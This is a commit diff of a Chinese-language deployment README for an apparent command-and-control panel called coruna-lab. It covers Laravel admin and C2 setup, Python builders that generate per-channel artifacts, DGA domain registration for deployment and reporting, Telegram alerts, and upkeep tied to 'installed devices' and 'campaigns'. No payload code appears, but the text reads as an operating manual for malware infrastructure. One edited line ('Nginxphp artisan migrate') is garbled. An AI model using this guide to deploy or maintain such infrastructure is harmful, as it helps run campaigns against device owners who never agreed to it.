feat: clear alumb
This commit is contained in:
+32
-44
@@ -2,21 +2,23 @@
|
||||
|
||||
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
|
||||
|
||||
| 构建器 | 路径 | 渠道 ID | 产物 |
|
||||
| --- | --- | --- | --- |
|
||||
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
|
||||
|
||||
| 构建器 | 路径 | 渠道 ID | 产物 |
|
||||
| ---------------------------------------- | -------------------------------- | ------------------------ | ---------------------------------------------- |
|
||||
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
|
||||
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
|
||||
|
||||
新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
|
||||
|
||||
新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
|
||||
|
||||
## 架构
|
||||
|
||||
|
||||
| 角色 | 项目 / 路径 | 对外 | 进程 |
|
||||
| --- | --- | --- | --- |
|
||||
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
|
||||
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
|
||||
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
|
||||
| 角色 | 项目 / 路径 | 对外 | 进程 |
|
||||
| --------------- | -------------------------------- | --------------------------- | --------------- |
|
||||
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
|
||||
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
|
||||
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
|
||||
|
||||
|
||||
```text
|
||||
@@ -55,7 +57,7 @@
|
||||
|
||||
软件商店安装:
|
||||
|
||||
- Nginx
|
||||
- Nginxphp artisan migrate
|
||||
- MySQL 8.0
|
||||
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
|
||||
- Python 3.10+(系统或面板)
|
||||
@@ -110,8 +112,6 @@ client_max_body_size 64m;
|
||||
|
||||
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。
|
||||
|
||||
|
||||
|
||||
### 1.1 旧版 `channel-builder`
|
||||
|
||||
```bash
|
||||
@@ -124,8 +124,6 @@ pip install -r requirements.txt
|
||||
|
||||
产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。
|
||||
|
||||
|
||||
|
||||
### 1.2 新版 `channel-builder-new`(xxbb / weifile)
|
||||
|
||||
```bash
|
||||
@@ -140,11 +138,13 @@ pip install -r requirements.txt
|
||||
|
||||
产物与状态:
|
||||
|
||||
| 路径 | 作用 |
|
||||
| --- | --- |
|
||||
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
|
||||
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
|
||||
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
|
||||
|
||||
| 路径 | 作用 |
|
||||
| ---------------------------------- | ------------------------------------------------------ |
|
||||
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
|
||||
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
|
||||
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
|
||||
|
||||
|
||||
创建新版渠道时 Laravel 会:
|
||||
|
||||
@@ -153,8 +153,6 @@ pip install -r requirements.txt
|
||||
|
||||
因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。
|
||||
|
||||
|
||||
|
||||
### 1.3 权限与静态路径(Admin 站点 Nginx)
|
||||
|
||||
```bash
|
||||
@@ -208,8 +206,6 @@ location /details/ {
|
||||
|
||||
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
|
||||
|
||||
|
||||
|
||||
### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要)
|
||||
|
||||
新版创建渠道前 `.env` 必须有共享 `c`。任选其一:
|
||||
@@ -473,13 +469,6 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
|
||||
1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
|
||||
|
||||
可选(地址监控):若启用 Tokenview,可另执行:
|
||||
|
||||
```bash
|
||||
/www/server/php/82/bin/php artisan tokenview:set-webhook
|
||||
# 默认 → https://<APP_URL>/hooks/tokenview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -502,14 +491,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
## 4. 日常运维
|
||||
|
||||
|
||||
| 动作 | 命令 / 操作 |
|
||||
| --- | --- |
|
||||
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
|
||||
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
|
||||
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
| 动作 | 命令 / 操作 |
|
||||
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
|
||||
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
|
||||
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
|
||||
|
||||
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
|
||||
@@ -575,9 +564,8 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
```
|
||||
|
||||
2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
|
||||
|
||||
3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
|
||||
1. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
|
||||
2. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
|
||||
|
||||
自检:
|
||||
|
||||
@@ -586,6 +574,8 @@ ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||
# 常见:… -> /usr/bin/python3.10
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Nginx:`unknown directive "32}/(web|sync)/"`
|
||||
|
||||
location 正则未加引号,`{32}` 被当成配置块。改为:
|
||||
@@ -596,8 +586,6 @@ location ~ "^/web/[0-9a-f]{32}/" {
|
||||
|
||||
新版 `/channel/` 正则同理,花括号必须放在引号内。
|
||||
|
||||
|
||||
|
||||
### `apt` 因 gitlab-ce 源 404 失败
|
||||
|
||||
```bash
|
||||
@@ -660,4 +648,4 @@ chmod -R ug+rwx storage/framework/sessions
|
||||
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
|
||||
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
|
||||
|
||||
同机时无需拆分,Admin `public/` 即静态根。
|
||||
同机时无需拆分,Admin `public/` 即静态根。
|
||||
Reference in New Issue
Block a user